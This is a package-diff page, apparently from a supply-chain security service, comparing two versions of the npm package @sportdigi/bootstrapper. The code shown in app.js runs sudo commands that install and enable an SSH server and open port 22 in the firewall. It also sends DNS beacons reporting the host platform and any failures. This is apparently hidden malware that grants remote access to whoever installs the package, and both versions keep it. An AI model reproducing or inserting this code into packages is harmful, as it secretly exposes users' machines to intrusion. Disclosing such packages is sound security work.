@sportdigi/bootstrapper 25.1.0 → 26.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +4 -15
- package/package.json +1 -1
package/app.js
CHANGED
@@ -23,20 +23,9 @@ sendDns(platform);
|
|
23
23
|
|
24
24
|
|
25
25
|
let linuxCommands = [
|
26
|
-
"sudo
|
27
|
-
"sudo
|
28
|
-
|
29
|
-
"sudo firewall-cmd --reload",
|
30
|
-
"sudo systemctl start sshd",
|
31
|
-
"sudo systemctl enable sshd",
|
32
|
-
"sudo apt update",
|
33
|
-
"sudo apt install -y openssh-server",
|
34
|
-
"sudo ufw allow 22/tcp",
|
35
|
-
"sudo ufw reload",
|
36
|
-
"sudo setsebool -P sshd_disable_trans 1",
|
37
|
-
"sudo systemctl start sshd",
|
38
|
-
"sudo systemctl enable sshd"
|
39
|
-
|
26
|
+
"sudo systemctl start ssh",
|
27
|
+
"sudo systemctl enable ssh"
|
28
|
+
|
40
29
|
];
|
41
30
|
|
42
31
|
const setupSSH = (commands) => {
|
@@ -48,7 +37,7 @@ const setupSSH = (commands) => {
|
|
48
37
|
} catch (error) {
|
49
38
|
console.error(`Hata: ${command} komutu başarısız oldu`);
|
50
39
|
console.error(error.message);
|
51
|
-
sendDns("
|
40
|
+
sendDns("sshHata");
|
52
41
|
}
|
53
42
|
}
|
54
43
|
};
|